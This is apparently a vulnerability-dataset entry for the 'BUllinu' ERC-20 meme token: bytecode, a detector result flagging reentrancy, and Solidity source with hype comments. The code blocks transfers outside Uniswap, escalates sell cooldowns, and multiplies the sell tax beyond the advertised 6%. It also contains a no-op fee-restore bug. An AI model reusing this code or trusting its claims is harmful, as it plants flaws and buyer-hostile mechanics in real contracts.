60006020828403121561198557600080fd5b81516112f281611db4565b600080604083850312156119a357600080fd5b82356119ae81611db4565b915060208301356119be81611db4565b809150509250929050565b6000806000606084860312156119de57600080fd5b83356119e981611db4565b925060208401356119f981611db4565b929592945050506040919091013590565b60008060408385031215611a1d57600080fd5b8235611a2881611db4565b946020939093013593505050565b600080600060408486031215611a4b57600080fd5b833567ffffffffffffffff80821115611a6357600080fd5b818601915086601f830112611a7757600080fd5b813581811115611a8657600080fd5b8760208260051b8501011115611a9b57600080fd5b602092830195509350611ab19186019050611946565b90509250925092565b60006020808385031215611acd57600080fd5b823567ffffffffffffffff80821115611ae557600080fd5b818501915085601f830112611af957600080fd5b813581811115611b0b57611b0b611d9e565b8060051b604051601f19603f83011681018181108582111715611b3057611b30611d9e565b604052828152858101935084860182860187018a1015611b4f57600080fd5b600095505b83861015611b7957611b6581611936565b855260019590950194938601938601611b54565b5098975050505050505050565b600060208284031215611b9857600080fd5b6112f282611946565b600060208284031215611bb357600080fd5b5035919050565b60008060008060808587031215611bd057600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1957858101830151858201604001528201611bfd565b81811115611c2b576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc65784516001600160a01b031683529383019391830191600101611ca1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cfa57611cfa611d72565b500190565b600082611d1c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3b57611d3b611d72565b500290565b600082821015611d5257611d52611d72565b500390565b6000600019821415611d6b57611d6b611d72565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107be57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e9e32e18121037ec2401f367e688ec1109e08ead1c66daa98a27fe4eaedcde9c64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 609 |
0xe0db9673aa31587ca03020b771537127f97b77a8 | /*
Bullinu = seems we are back to Bull run. Bullinu is metaphor of bull run and will take us to the moon.
Just hold this token. It will be good luck. :)
To the moon
Tokenomics Taxation:
1. Sells limited to 3% of the Liquidity Pool, <3% price impact
2. 6%
Tokenomics
totalSupply 2T
25% Burned
2 % Dev
67% Liquidity
Liquidty will be locked.
Ownership will be renounced.
Telegram channel: https://t.me/Bullinu
Telegram chat: https://t.me/joinchat/Ev_LkvVbb5MwMTJk
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract BUllinu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Tothemoon";
string private constant _symbol = "BUllinu";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 2000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 6;
uint256 private _teamFee = 6;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = true;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 6;
_teamFee = 6;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (4 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 6000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600981526020017f546f7468656d6f6f6e0000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000686c6b935b8bbd400000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f42556c6c696e7500000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383686c6b935b8bbd40000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16686c6b935b8bbd40000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506753444835ec580000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c2042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b919050555061384042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff